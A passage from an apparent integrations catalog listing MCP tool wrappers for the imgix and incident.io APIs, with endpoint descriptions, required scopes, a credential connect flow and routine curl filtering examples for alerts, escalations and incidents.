/api/v1/sources/{source_id}/assets/{origin_path} PATCH /api/v1/imgix/api/v1/sources/{source_id}/assets/{origin_path}. Scopes: asset_manager_edit. imgix_post_api_v1_publish (write) — Make assets available to be served from their Source via POST /api/v1/publish POST /api/v1/imgix/api/v1/publish. Scopes: asset_manager_edit. imgix_post_api_v1_purge (write, destructive) — Remove one image URL from imgix's CDN cache so the next request re-fetches it from the origin. Purging is asynchronous and applies to the exact URL given (or, with sub_image, to its derivatives) via POST /api/v1/purge POST /api/v1/imgix/api/v1/purge. Scopes: purge. imgix_post_api_v1_sources (write) — Create an imgix Source. The JSON:API body names the origin type (s3, gcs, azure, webfolder, webproxy, s3_compatible), the imgix subdomains it serves, and the credentials and options that origin type needs via POST /api/v1/sources POST /api/v1/imgix/api/v1/sources. Scopes: sources. imgix_post_api_v1_sources_by_source_id_assets_add_by_origin_path (write) — Index an object that already exists at the Source's origin into the Asset Manager. Answers 202: indexing is asynchronous, so read the asset back to see it appear via POST /api/v1/sources/{source_id}/assets/add/{origin_path} POST /api/v1/imgix/api/v1/sources/{source_id}/assets/add/{origin_path}. Scopes: asset_manager_edit. imgix_post_api_v1_sources_by_source_id_assets_refresh_by_origin_path (write) — Re-read an asset from the Source's origin and update its Asset Manager record, for when the bytes at the origin changed underneath imgix via POST /api/v1/sources/{source_id}/assets/refresh/{origin_path} POST /api/v1/imgix/api/v1/sources/{source_id}/assets/refresh/{origin_path}. Scopes: asset_manager_edit. imgix_post_api_v1_sources_by_source_id_upload_sessions_by_origin_path (write) — Open an upload session for an origin path and receive the session's id and upload target. This is the non-binary route to putting bytes in a Source: the caller transfers the file to the returned target directly, then closes the session via POST /api/v1/sources/{source_id}/upload-sessions/{origin_path} POST /api/v1/imgix/api/v1/sources/{source_id}/upload-sessions/create/{origin_path}. Scopes: asset_manager_edit. imgix_post_api_v1_sources_by_source_id_upload_sessions_by_session_id (write) — Close an open upload session by its id, committing the uploaded object to the Source via POST /api/v1/sources/{source_id}/upload-sessions/{session_id} POST /api/v1/imgix/api/v1/sources/{source_id}/upload-sessions/close/{session_id}. Scopes: asset_manager_edit. imgix_post_api_v1_unpublish (write, destructive) — Withdraw assets from being served, so imgix stops answering requests for them via POST /api/v1/unpublish POST /api/v1/imgix/api/v1/unpublish. Scopes: asset_manager_edit. ================================================================================ ## incident.io URL: https://www.agenticfabriq.com/integrations/incidentio Section: Integrated Tools incident.io — 218 MCP tools Provider key: incidentio. Scopes: actions.create, actions.destroy, actions.update, actions.view, alert_route.create, alert_route.destroy, alert_route.update, alert_routes.view, alert_schema.update, alert_schema.view, alert_source.create, alert_source.destroy, alert_source.update, alert_sources.view, alerts.attach_to_incident, alerts.edit, alerts.resolve, alerts.view, api_keys.create, api_keys.destroy, api_keys.rotate, api_keys.update, api_keys.view, attachments.create, attachments.destroy, attachments.view, call_transcripts.view, catalog_entries.create, catalog_entries.destroy, catalog_entries.edit, catalog_entries.view, catalog_types.create, catalog_types.destroy, catalog_types.edit, catalog_types.view, custom_fields.view, escalation_paths.create, escalation_paths.destroy, escalation_paths.update, escalation_paths.view, escalations.cancel, escalations.create, escalations.respond, escalations.view, external_postmortems.create, follow_ups.connect_external_issue, follow_ups.create, follow_ups.destroy, follow_ups.update, in_app_postmortems.copy_as_markdown, in_app_postmortems.import, in_app_postmortems.update_status, incident_alerts.transition, incident_lifecycles.update, incident_memberships.grant, incident_memberships.revoke, incident_roles.view, incident_statuses.view, incident_template.create, incident_template.destroy, incident_template.update, incident_templates.view, incident_types.view, incident_updates.create, incident_workloads.view, incidents.create, incidents.view, maintenance_window.create, maintenance_window.destroy, maintenance_window.update, maintenance_windows.view, notification_methods.view, notification_rules.view, organisation_settings.update, policies.create, policies.destroy, policies.view, policy_violations.dismiss, policy_violations.restore, schedule_overrides.create, schedule_overrides.destroy, schedule_overrides.update, schedule_sync_rules.create, schedule_sync_rules.destroy, schedule_sync_rules.update, schedule_sync_targets.create, schedule_sync_targets.destroy, schedule_sync_targets.update, schedules.create, schedules.destroy, schedules.update, schedules.view, secrets.create, secrets.delete, secrets.update, secrets.view_metadata, security_settings.update, severities.view, status_pages.publish_updates, telemetry_data_source.update, timeline_items.create, timeline_items.update, user_preferences.view, users.preferred_paging_provider.edit, users.view, workflows.create, workflows.destroy, workflows.update, workflows.view. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. incidentio_delete_v1_alert_notes_by_id (write, destructive) — Delete an alert note. via DELETE /v1/alert_notes/{id} DELETE /api/v1/incidentio/v1/alert_notes/{id}. Scopes: alerts.edit. incidentio_delete_v1_api_keys_by_id (write, destructive) — Delete an existing API key. The calling API key does not need to hold the scopes of the key being deleted, but a team-scoped key can only delete keys belonging to its teams. This endpoint requires a valid API key with the `api_keys_manage` role at either the account level or team level. via DELETE /v1/api_keys/{id} DELETE /api/v1/incidentio/v1/api_keys/{id}. Scopes: api_keys.destroy. incidentio_delete_v1_custom_field_options_by_id (write, destructive) — Delete a custom field option via DELETE /v1/custom_field_options/{id} DELETE /api/v1/incidentio/v1/custom_field_options/{id}. Scopes: organisation_settings.update. incidentio_delete_v1_incident_attachments_by_id (write, destructive) — Unattaches an external resource from an incident via DELETE /v1/incident_attachments/{id} DELETE /api/v1/incidentio/v1/incident_attachments/{id}. Scopes: attachments.destroy. incidentio_delete_v1_incident_statuses_by_id (write, destructive) — Delete an incident status via DELETE /v1/incident_statuses/{id} DELETE /api/v1/incidentio/v1/incident_statuses/{id}. Scopes: incident_lifecycles.update. incidentio_delete_v1_incident_templates_by_id (write, destructive) — Archive an incident template. Fails if the template is still referenced by an alert route. via DELETE /v1/incident_templates/{id} DELETE /api/v1/incidentio/v1/incident_templates/{id}. Scopes: incident_template.destroy. incidentio_delete_v1_maintenance_windows_by_id (write, destructive) — Archives a maintenance window. Cannot archive active windows. via DELETE /v1/maintenance_windows/{id} DELETE /api/v1/incidentio/v1/maintenance_windows/{id}. Scopes: maintenance_window.destroy. incidentio_delete_v1_severities_by_id (write, destructive) — Delete a severity via DELETE /v1/severities/{id} DELETE /api/v1/incidentio/v1/severities/{id}. Scopes: organisation_settings.update. incidentio_delete_v2_actions_by_id (write, destructive) — Delete an incident action. via DELETE /v2/actions/{id} DELETE /api/v1/incidentio/v2/actions/{id}. Scopes: actions.destroy. incidentio_delete_v2_alert_attributes_by_id (write, destructive) — Destroy an alert attribute. via DELETE /v2/alert_attributes/{id} DELETE /api/v1/incidentio/v2/alert_attributes/{id}. Scopes: alert_schema.update. incidentio_delete_v2_alert_routes_by_id (write, destructive) — Delete an existing alert route in your account. via DELETE /v2/alert_routes/{id} DELETE /api/v1/incidentio/v2/alert_routes/{id}. Scopes: alert_route.destroy. incidentio_delete_v2_alert_sources_by_id (write, destructive) — Delete an existing alert source in your account. via DELETE /v2/alert_sources/{id} DELETE /api/v1/incidentio/v2/alert_sources/{id}. Scopes: alert_source.destroy. incidentio_delete_v2_custom_fields_by_id (write, destructive) — Delete a custom field via DELETE /v2/custom_fields/{id} DELETE /api/v1/incidentio/v2/custom_fields/{id}. Scopes: organisation_settings.update. incidentio_delete_v2_escalation_paths_by_id (write, destructive) — Archives an escalation path. We recommend you create escalation paths in the incident.io dashboard where our path builder makes it easy to use conditions and visualise the path. via DELETE /v2/escalation_paths/{id} DELETE /api/v1/incidentio/v2/escalation_paths/{id}. Scopes: escalation_paths.destroy. incidentio_delete_v2_incident_roles_by_id (write, destructive) — Removes an existing role via DELETE /v2/incident_roles/{id} DELETE /api/v1/incidentio/v2/incident_roles/{id}. Scopes: organisation_settings.update. incidentio_delete_v2_policies_by_id (write, destructive) — Archive a policy. Archived policies stop evaluating and no longer appear in the API. via DELETE /v2/policies/{id} DELETE /api/v1/incidentio/v2/policies/{id}. Scopes: policies.destroy. incidentio_delete_v2_schedule_overrides_by_id (write, destructive) — Delete a schedule override, restoring whoever the rotations put on-call for that window. Deleting an override that has already been deleted succeeds, so it is safe to retry. via DELETE /v2/schedule_overrides/{id} DELETE /api/v1/incidentio/v2/schedule_overrides/{id}. Scopes: schedule_overrides.destroy. incidentio_delete_v2_schedule_sync_targets_by_id (write, destructive) — Archive a schedule sync target. Will fail if any active sync rules reference this target. via DELETE /v2/schedule_sync_targets/{id} DELETE /api/v1/incidentio/v2/schedule_sync_targets/{id}. Scopes: schedule_sync_targets.destroy. incidentio_delete_v2_schedules_by_id (write, destructive) — Archives a single schedule. Will fail if the schedule has active replicas — remove all replicas before deleting. via DELETE /v2/schedules/{id} DELETE /api/v1/incidentio/v2/schedules/{id}. Scopes: schedules.destroy. incidentio_delete_v2_schedules_by_schedule_id_replicas_by_id (write, destructive) — Archives a single schedule replica, stopping incident.io from syncing on-call shifts to the external provider. As with disabling mirroring via the UI, this will remove any upcoming overrides that incident.io has created in the external schedule, restoring it to its original state. If multiple replicas target the same external schedule, overrides are only removed when the last replica pointing to that schedule is deleted. Note: override cleanup is supported for PagerDuty and Jira Service Management. Opsgenie does not support programmatic override deletion, so overrides must be removed manually. via DELETE /v2/schedules/{schedule_id}/replicas/{id} DELETE /api/v1/incidentio/v2/schedules/{schedule_id}/replicas/{id}. Scopes: schedules.update. incidentio_delete_v2_schedules_by_schedule_id_sync_rules_by_id (write, destructive) — Archive a sync rule, unlinking the schedule from the sync target. via DELETE /v2/schedules/{schedule_id}/sync_rules/{id} DELETE /api/v1/incidentio/v2/schedules/{schedule_id}/sync_rules/{id}. Scopes: schedule_sync_rules.destroy. incidentio_delete_v2_secrets_by_id (write, destructive) — Delete a secret, permanently removing its value. Fails if the secret is still referenced by a workflow. via DELETE /v2/secrets/{id} DELETE /api/v1/incidentio/v2/secrets/{id}. Scopes: secrets.delete. incidentio_delete_v2_workflows_by_id (write, destructive) — Archives a workflow via DELETE /v2/workflows/{id} DELETE /api/v1/incidentio/v2/workflows/{id}. Scopes: workflows.destroy. incidentio_delete_v3_actions_by_id (write, destructive) — Delete an incident action. via DELETE /v3/actions/{id} DELETE /api/v1/incidentio/v3/actions/{id}. Scopes: actions.destroy. incidentio_delete_v3_alert_routes_by_id (write, destructive) — Delete an existing alert route in your account. via DELETE /v3/alert_routes/{id} DELETE /api/v1/incidentio/v3/alert_routes/{id}. Scopes: alert_route.destroy. incidentio_delete_v3_catalog_entries_by_id (write, destructive) — Archives a catalog entry. via DELETE /v3/catalog_entries/{id} DELETE /api/v1/incidentio/v3/catalog_entries/{id}. Scopes: catalog_entries.destroy. incidentio_delete_v3_catalog_types_by_id (write, destructive) — Archives a catalog type and associated entries. via DELETE /v3/catalog_types/{id} DELETE /api/v1/incidentio/v3/catalog_types/{id}. Scopes: catalog_types.destroy. incidentio_delete_v3_follow_ups_by_id (write, destructive) — Delete an incident follow-up. via DELETE /v3/follow_ups/{id} DELETE /api/v1/incidentio/v3/follow_ups/{id}. Scopes: follow_ups.destroy. incidentio_get_v1_alert_notes (read) — List alert notes attached to an alert. via GET /v1/alert_notes GET /api/v1/incidentio/v1/alert_notes. Scopes: alerts.view. incidentio_get_v1_alert_notes_by_id (read) — Get a single alert note. via GET /v1/alert_notes/{id} GET /api/v1/incidentio/v1/alert_notes/{id}. Scopes: alerts.view. incidentio_get_v1_api_keys (read) — List API keys visible to the calling API key, with pagination. An API key with account-level `api_keys_manage` access will see all keys, while a key with the `api_keys_manage` role scoped to specific teams will only see keys belonging to those teams. This endpoint requires a valid API key with the `api_keys_manage` role at either the account level or team level. via GET /v1/api_keys GET /api/v1/incidentio/v1/api_keys. Scopes: api_keys.view. incidentio_get_v1_api_keys_by_id (read) — Show details of a specific API key, including its roles, team assignments and when its token was last issued. This endpoint requires a valid API key with the `api_keys_manage` role at either the account level or team level. via GET /v1/api_keys/{id} GET /api/v1/incidentio/v1/api_keys/{id}. Scopes: api_keys.view. incidentio_get_v1_custom_field_options (read) — Show custom field options for a custom field via GET /v1/custom_field_options GET /api/v1/incidentio/v1/custom_field_options. Scopes: custom_fields.view. incidentio_get_v1_custom_field_options_by_id (read) — Get a single custom field option via GET /v1/custom_field_options/{id} GET /api/v1/incidentio/v1/custom_field_options/{id}. Scopes: custom_fields.view. incidentio_get_v1_identity (read) — Test if your API key is valid, and which roles it has. via GET /v1/identity GET /api/v1/incidentio/v1/identity. Scopes: none. incidentio_get_v1_incident_attachments (read) — List all incident attachments for a given external resource or incident. You must provide either a specific incident ID or a specific external resource type and external ID. via GET /v1/incident_attachments GET /api/v1/incidentio/v1/incident_attachments. Scopes: attachments.view. incidentio_get_v1_incident_relationships (read) — List related incidents for a specific incident. via GET /v1/incident_relationships GET /api/v1/incidentio/v1/incident_relationships. Scopes: incidents.view. incidentio_get_v1_incident_statuses (read) — List all incident statuses for an organisation. via GET /v1/incident_statuses GET /api/v1/incidentio/v1/incident_statuses. Scopes: incident_statuses.view. incidentio_get_v1_incident_statuses_by_id (read) — Get a single incident status. via GET /v1/incident_statuses/{id} GET /api/v1/incidentio/v1/incident_statuses/{id}. Scopes: incident_statuses.view. incidentio_get_v1_incident_templates (read) — List all incident templates for this organisation. via GET /v1/incident_templates GET /api/v1/incidentio/v1/incident_templates. Scopes: incident_templates.view. incidentio_get_v1_incident_templates_by_id (read) — Show a single incident template. via GET /v1/incident_templates/{id} GET /api/v1/incidentio/v1/incident_templates/{id}. Scopes: incident_templates.view. incidentio_get_v1_incident_types (read) — List all incident types for an organisation. via GET /v1/incident_types GET /api/v1/incidentio/v1/incident_types. Scopes: incident_types.view. incidentio_get_v1_incident_types_by_id (read) — Get a single incident type. via GET /v1/incident_types/{id} GET /api/v1/incidentio/v1/incident_types/{id}. Scopes: incident_types.view. incidentio_get_v1_ip_allowlists (read) — Show the IP allowlist for your organisation via GET /v1/ip_allowlists GET /api/v1/incidentio/v1/ip_allowlists. Scopes: none. incidentio_get_v1_maintenance_windows (read) — List maintenance windows for your organisation. via GET /v1/maintenance_windows GET /api/v1/incidentio/v1/maintenance_windows. Scopes: maintenance_windows.view. incidentio_get_v1_maintenance_windows_by_id (read) — Show a particular maintenance window. via GET /v1/maintenance_windows/{id} GET /api/v1/incidentio/v1/maintenance_windows/{id}. Scopes: maintenance_windows.view. incidentio_get_v1_openapiv3_json (read) — Get the OpenAPI (v3) definition. via GET /v1/openapiV3.json GET /api/v1/incidentio/v1/openapiV3.json. Scopes: none. incidentio_get_v1_postmortem_documents (read) — List post-mortem documents for the organisation. Results can be filtered by incident and sorted by creation date. This endpoint returns document metadata only. If you want to fetch the content of the post-mortem, use the ShowContent endpoint. via GET /v1/postmortem_documents GET /api/v1/incidentio/v1/postmortem_documents. Scopes: incidents.view. incidentio_get_v1_postmortem_documents_by_id (read) — Get a single post-mortem document by ID. This returns the document's metadata. To retrieve the content of the post-mortem, use the ShowContent endpoint. via GET /v1/postmortem_documents/{id} GET /api/v1/incidentio/v1/postmortem_documents/{id}. Scopes: incidents.view. incidentio_get_v1_postmortem_documents_by_id_content (read) — Fetch the content of a post-mortem document, rendered as markdown. The response contains the full document content as a single markdown string. The markdown follows standard formatting and is structured to mirror the post-mortem as it appears in the incident.io dashboard: - **Headings** (`#`, `##`, `###`) for document title and sections - **Bold** and *italic* text formatting - Bullet lists and numbered lists - [Links](url) to external resources, Slack threads, and pull requests - Mentions of users, incidents, and catalog entries resolved to their display names - Custom field values rendered as labelled bullet lists - Timeline entries grouped by date with timestamps - Follow-ups with assignees and descriptions To preview what this markdown will look like for a given post-mortem, open the document in the incident.io dashboard and use the "Copy to clipboard" button. The copied content uses the same rendering pipeline as this endpoint. If you only need document metadata, use the Show or List endpoints instead. via GET /v1/postmortem_documents/{id}/content GET /api/v1/incidentio/v1/postmortem_documents/{id}/content. Scopes: in_app_postmortems.copy_as_markdown. incidentio_get_v1_severities (read) — List all incident severities for an organisation. via GET /v1/severities GET /api/v1/incidentio/v1/severities. Scopes: severities.view. incidentio_get_v1_severities_by_id (read) — Get a single incident severity. via GET /v1/severities/{id} GET /api/v1/incidentio/v1/severities/{id}. Scopes: severities.view. incidentio_get_v1_status_pages_by_id_incidents_by_incident_id_response_incidents (read) — List the linked Response incidents for a status page incident. via GET /v1/status-pages/{id}/incidents/{incident_id}/response-incidents GET /api/v1/incidentio/v1/status-pages/{id}/incidents/{incident_id}/response-incidents. Scopes: none. incidentio_get_v2_actions (read) — List all actions for an organisation. via GET /v2/actions GET /api/v1/incidentio/v2/actions. Scopes: actions.view. incidentio_get_v2_actions_by_id (read) — Get a single incident action. via GET /v2/actions/{id} GET /api/v1/incidentio/v2/actions/{id}. Scopes: actions.view. incidentio_get_v2_alert_attributes (read) — List alert attributes. via GET /v2/alert_attributes GET /api/v1/incidentio/v2/alert_attributes. Scopes: alert_schema.view. incidentio_get_v2_alert_attributes_by_id (read) — Show an alert attribute. via GET /v2/alert_attributes/{id} GET /api/v1/incidentio/v2/alert_attributes/{id}. Scopes: alert_schema.view. incidentio_get_v2_alert_routes (read) — List all alert routes in your account. via GET /v2/alert_routes GET /api/v1/incidentio/v2/alert_routes. Scopes: alert_routes.view. incidentio_get_v2_alert_routes_by_id (read) — Load details about a specific alert route in your account. via GET /v2/alert_routes/{id} GET /api/v1/incidentio/v2/alert_routes/{id}. Scopes: alert_routes.view. incidentio_get_v2_alert_sources (read) — List all alert sources in your account. via GET /v2/alert_sources GET /api/v1/incidentio/v2/alert_sources. Scopes: alert_sources.view. incidentio_get_v2_alert_sources_by_id (read) — Load details about a specific alert source in your account. via GET /v2/alert_sources/{id} GET /api/v1/incidentio/v2/alert_sources/{id}. Scopes: alert_sources.view. incidentio_get_v2_alerts (read) — List all alerts for your account. This endpoint supports a number of filters, which can help find alerts matching certain criteria. These filters work similarly to the filters on the incidents endpoint, where a field is specified alongside a comparison operator in the query string. Note that: - Filters may be used together, and the result will be alerts that match all filters. - All query parameters must be URI encoded. ### By deduplication_key Find all alerts with deduplication_key ABC: curl --get 'https://api.incident.io/v2/alerts' \ --data 'deduplication_key[is]=ABC' ### By status Find all alerts in a firing state: curl --get 'https://api.incident.io/v2/alerts' \ --data 'status[one_of]=firing' ### By alert_source Find all alerts from a specific alert source (by alert source ID): curl --get 'https://api.incident.io/v2/alerts' \ --data 'alert_source[one_of]=01GBSQF3FHF7FWZQNWGHAVQ804' Find all alerts not from a specific alert source: curl --get 'https://api.incident.io/v2/alerts' \ --data 'alert_source[not_in]=01GBSQF3FHF7FWZQNWGHAVQ804' ### By alert_group_id Find all alerts in a specific alert group: curl --get 'https://api.incident.io/v2/alerts' \ --data 'alert_group_id[one_of]=01GBSQF3FHF7FWZQNWGHAVQ804' ### By created_at Find all alerts that follow specified date parameters for created_at field. Possible values are "gte" (greater than or equal to), "lte" (less than or equal to), and "date_range" (between two dates). The following example finds all alerts created after 2025-01-01: curl --get 'https://api.incident.io/v2/alerts' \ --data 'created_at[gte]=2025-01-01' To find alerts created within a specific date range, use the date_range option with tilde-separated dates: curl --get 'https://api.incident.io/v2/alerts' \ --data 'created_at[date_range]=2024-12-02~2024-12-08' ### By updated_at Find all alerts that follow specified date parameters for updated_at field, using the same "gte", "lte" and "date_range" operators as created_at. This is useful for incrementally syncing alerts: poll with updated_at[gte] set to your last sync time instead of re-fetching the full history. Note that updated_at moves whenever the alert row is written, which can happen without a visible change to the alert payload, so treat matches as candidates to re-fetch rather than guaranteed changes — and overlap your sync window by a few minutes to allow for writes that commit out of timestamp order: curl --get 'https://api.incident.io/v2/alerts' \ --data 'updated_at[gte]=2025-01-01T00:00:00Z' ### By has_notes Find all alerts that have notes attached: curl --get 'https://api.incident.io/v2/alerts' \ --data 'has_notes[is]=true' Find all alerts that have no notes attached: curl --get 'https://api.incident.io/v2/alerts' \ --data 'has_notes[is]=false' ### By attributes Alerts can be filtered by their attribute values. Each filter is keyed by the alert attribute ID, followed by an operator and the values to match. The accepted operators depend on the attribute's type. Find all alerts where attribute 01GBSQF3FHF7FWZQNWGHAVQ804 is one of two catalog entries: curl --get 'https://api.incident.io/v2/alerts' \ --data 'attributes[01GBSQF3FHF7FWZQNWGHAVQ804][one_of]=01GBSQF3FHF7FWZQNWGHAVQ804' \ --data 'attributes[01GBSQF3FHF7FWZQNWGHAVQ804][one_of]=01ET65M7ZARSFZ6TFDFVQDN9AA' You can filter on multiple attributes at once, and the result will be alerts that match all of them. ### Maintenance windows By default, all alerts are returned including those held by a maintenance window. To exclude alerts that are held by a maintenance window: curl --get 'https://api.incident.io/v2/alerts' \ --data 'include_maintenance_window[is]=false' via GET /v2/alerts GET /api/v1/incidentio/v2/alerts. Scopes: alerts.view. incidentio_get_v2_alerts_by_id (read) — Show a single alert for your account via GET /v2/alerts/{id} GET /api/v1/incidentio/v2/alerts/{id}. Scopes: alerts.view. incidentio_get_v2_call_sessions (read) — List Scribe call sessions, newest first, filtered by incident. via GET /v2/call_sessions GET /api/v1/incidentio/v2/call_sessions. Scopes: call_transcripts.view. incidentio_get_v2_call_transcript_entries (read) — List transcript entries for a call session, oldest first. Returns an empty list if your organisation has disabled viewing transcripts. via GET /v2/call_transcript_entries GET /api/v1/incidentio/v2/call_transcript_entries. Scopes: call_transcripts.view. incidentio_get_v2_custom_fields (read) — List all custom fields for an organisation. via GET /v2/custom_fields GET /api/v1/incidentio/v2/custom_fields. Scopes: custom_fields.view. incidentio_get_v2_custom_fields_by_id (read) — Get a single custom field. via GET /v2/custom_fields/{id} GET /api/v1/incidentio/v2/custom_fields/{id}. Scopes: custom_fields.view. incidentio_get_v2_escalation_paths (read) — List all escalation paths in your account. An escalation path is a series of steps that describe how a page should be escalated, represented as a graph, supporting conditional branches based on alert priority and working intervals. via GET /v2/escalation_paths GET /api/v1/incidentio/v2/escalation_paths. Scopes: escalation_paths.view. incidentio_get_v2_escalation_paths_by_id (read) — Show an escalation path. We recommend you create escalation paths in the incident.io dashboard where our path builder makes it easy to use conditions and visualise the path. via GET /v2/escalation_paths/{id} GET /api/v1/incidentio/v2/escalation_paths/{id}. Scopes: escalation_paths.view. incidentio_get_v2_escalations (read) — List all escalations for your account. This endpoint supports a number of filters, which can help find escalations matching certain criteria. Note that: - Filters may be used together, and the result will be escalations that match all filters. - All query parameters must be URI encoded. To use this API, you will need an API key with the "View data" or "Create and manage on-call resources" permission. ### By escalation_path Find all escalations that escalated to escalation path with id=ABC: curl --get 'https://api.incident.io/v2/escalations' \ --data 'escalation_path[one_of]=ABC' ### By status Find all escalations with a current status of "triggered": curl --get 'https://api.incident.io/v2/escalations' \ --data 'status[one_of]=triggered' Possible values are "pending", "triggered", "acked", "resolved", "expired" and "cancelled". Escalations are in "pending" when they are in a grace period when the related alert has been grouped in an incident. ### By alert Find all escalations that were created by alert with id=ABC: curl --get 'https://api.incident.io/v2/escalations' \ --data 'alert[one_of]=ABC' ### By incident Find all escalations related to incident with id=ABC: curl --get 'https://api.incident.io/v2/escalations' \ --data 'incident[one_of]=ABC' An escalation is related to an incident if it is linked to that incident directly, if it is attached to one of the incident's alerts, or if it triggered one of those alerts (which is what happens when someone pages by calling in, and that call raises the alert). To find everything that is not related to an incident, use "not_in": curl --get 'https://api.incident.io/v2/escalations' \ --data 'incident[not_in]=ABC' ### By created_at and updated_at Find all escalations that follow specified date parameters for created_at and updated_at fields. Possible values are "gte" (greater than or equal to), "lte" (less than or equal to), and "date_range" (between two dates). For example, to find all escalations updated after 2025-01-01: curl --get 'https://api.incident.io/v2/escalations' \ --data 'updated_at[gte]=2025-01-01' To find all escalations created between 2025-01-01 and 2025-01-31: curl --get 'https://api.incident.io/v2/escalations' \ --data 'created_at[date_range]=2025-01-01~2025-01-31' via GET /v2/escalations GET /api/v1/incidentio/v2/escalations. Scopes: escalations.view. incidentio_get_v2_escalations_by_id (read) — Show a specific escalation. via GET /v2/escalations/{id} GET /api/v1/incidentio/v2/escalations/{id}. Scopes: escalations.view. incidentio_get_v2_incident_activity_log_entries (read) — List the activity log entries for an incident, oldest first. If the incident has streams, this returns their entries too, and incident_id on each entry tells you which stream it came from. Platform noise is left out: channel joins and leaves, chat messages and call transcript fragments are recorded internally but never returned here. via GET /v2/incident_activity_log_entries GET /api/v1/incidentio/v2/incident_activity_log_entries. Scopes: incidents.view. incidentio_get_v2_incident_alerts (read) — List the connections between incidents and alerts via GET /v2/incident_alerts GET /api/v1/incidentio/v2/incident_alerts. Scopes: alerts.view. incidentio_get_v2_incident_participant_workloads (read) — List the participants of an incident with their workload. We calculate how much time each participant has spent working on the incident, aggregated per participant. Each participant is annotated with their participant type and, if they have left the incident, when they were archived. Workload is calculated periodically, so values can lag real time and the most recent period may still be filling. The metadata reports the time the figures are calculated up to. Workload for private incidents is only returned to API keys with the `incident_workloads.view_private` scope. via GET /v2/incident_participant_workloads GET /api/v1/incidentio/v2/incident_participant_workloads. Scopes: incident_workloads.view. incidentio_get_v2_incident_participants (read) — List the participants of an incident with the role they took. Participants are split into those who are actively helping with the incident and those who are just observing. Each participant is annotated with their participant type. via GET /v2/incident_participants GET /api/v1/incidentio/v2/incident_participants. Scopes: incidents.view. incidentio_get_v2_incident_roles (read) — List all incident roles for an organisation. via GET /v2/incident_roles GET /api/v1/incidentio/v2/incident_roles. Scopes: incident_roles.view. incidentio_get_v2_incident_roles_by_id (read) — Get a single incident role. via GET /v2/incident_roles/{id} GET /api/v1/incidentio/v2/incident_roles/{id}. Scopes: incident_roles.view. incidentio_get_v2_incident_timeline_items (read) — List the timeline items for an incident, oldest first. Items are ordered by timestamp, then by ID to break ties, which is the order the dashboard shows them in. If the incident has streams, this returns the items on its streams too - they're part of the same narrative - and incident_id on each item tells you which stream it came from. Items can be edited after they're written, and this endpoint always returns their current state, so listing an incident again gives you the timeline as it stands today. via GET /v2/incident_timeline_items GET /api/v1/incidentio/v2/incident_timeline_items. Scopes: incidents.view. incidentio_get_v2_incident_timestamps (read) — List all incident timestamps for an organisation. via GET /v2/incident_timestamps GET /api/v1/incidentio/v2/incident_timestamps. Scopes: none. incidentio_get_v2_incident_timestamps_by_id (read) — Get a single incident timestamp. via GET /v2/incident_timestamps/{id} GET /api/v1/incidentio/v2/incident_timestamps/{id}. Scopes: none. incidentio_get_v2_incident_updates (read) — List all incident updates for an organisation, or for a specific incident. via GET /v2/incident_updates GET /api/v1/incidentio/v2/incident_updates. Scopes: incidents.view. incidentio_get_v2_incidents (read) — List all incidents for an organisation. This endpoint supports a number of filters, which can help find incidents matching certain criteria. Filters are provided as query parameters, but due to the dynamic nature of what you can query by (different accounts have different custom fields, statuses, etc) they are more complex than most. The maximum page size that can be requested is 250. To help, here are some exemplar curl requests with a human description of what they search for. Note that: - Filters may be combined using the filter_mode parameter: 'all' (default) requires all filters to match (AND logic), while 'any' requires at least one filter to match (OR logic). - IDs are normally in UUID format, but have been replaced with shorter strings to improve readability. - All query parameters must be URI encoded. ### By status With status of id=ABC, find all incidents that are set to that status: curl --get 'https://api.incident.io/v2/incidents' \ --data 'status[one_of]=ABC' Or all incidents that are not set to status with id=ABC: curl --get 'https://api.incident.io/v2/incidents' \ --data 'status[not_in]=ABC' ### By created_at or updated_at Find all incidents that follow specified date parameters for created_at and updated_at fields. Possible values are "gte" (greater than or equal to), "lte" (less than or equal to), and "date_range" (between two dates). The following example finds all incidents created before or on 2021-01-02T00:00:00Z: curl --get 'https://api.incident.io/v2/incidents' \ --data 'created_at[lte]=2021-01-02' To find incidents created within a specific date range, use the date_range option with tilde-separated dates: curl --get 'https://api.incident.io/v2/incidents' \ --data 'created_at[date_range]=2024-12-02~2024-12-08' ### By status category Find all incidents that are in a status category. Some categories use a different name in the API than the one shown in the dashboard — most notably "live" (shown as "Active") and "learning" (shown as "Post-incident"). The full mapping is: | API value | Shown in app as | | ---------- | --------------- | | triage | Triage | | live | Active | | learning | Post-incident | | paused | Paused | | closed | Closed | | declined | Declined | | canceled | Canceled | | merged | Merged | For example, to find all incidents the dashboard shows as "Active", filter on the "live" category: curl --get 'https://api.incident.io/v2/incidents' \ --data 'status_category[one_of]=live' Or all incidents that are not in a status category: curl --get 'https://api.incident.io/v2/incidents' \ --data 'status_category[not_in]=live' ### By severity With severity of id=ABC, find all incidents that are set to that severity: curl --get 'https://api.incident.io/v2/incidents' \ --data 'severity[one_of]=ABC' Or all incidents where severity rank is greater-than-or-equal-to the rank of severity id=ABC: curl --get 'https://api.incident.io/v2/incidents' \ --data 'severity[gte]=ABC' Or all incidents where severity rank is less-than-or-equal-to the rank of severity id=ABC: curl --get 'https://api.incident.io/v2/incidents' \ --data 'severity[lte]=ABC' ### By incident type With incident type of id=ABC, find all incidents that are of that type: curl --get 'https://api.incident.io/v2/incidents' \ --data 'incident_type[one_of]=ABC' Or all incidents not of that type: curl --get 'https://api.incident.io/v2/incidents' \ --data 'incident_type[not_in]=ABC' ### By incident mode By default, we return standard and retrospective incidents. This means that test and tutorial incidents are filtered out. To override this behaviour, you can use the mode filter to specify which modes you want to get. To find incidents of all modes: curl --get 'https://api.incident.io/v2/incidents' \ --data 'mode[one_of]=standard&mode[one_of]=retrospective&mode[one_of]=test&mode[one_of]=tutorial' To find just test incidents: curl --get 'https://api.incident.io/v2/incidents' \ --data 'mode[one_of]=test' ### By incident role Roles and custom fields have another nested layer in the query parameter, to account for operations against any of the roles or custom fields created in the account. With incident role id=ABC, find all incidents where that role is unset: curl --get 'https://api.incident.io/v2/incidents' \ --data 'incident_role[ABC][is_set]=true' Or where the role has been set: curl --get 'https://api.incident.io/v2/incidents' \ --data 'incident_role[ABC][is_set]=false' ### By option custom fields With an option custom field id=ABC, all incidents that 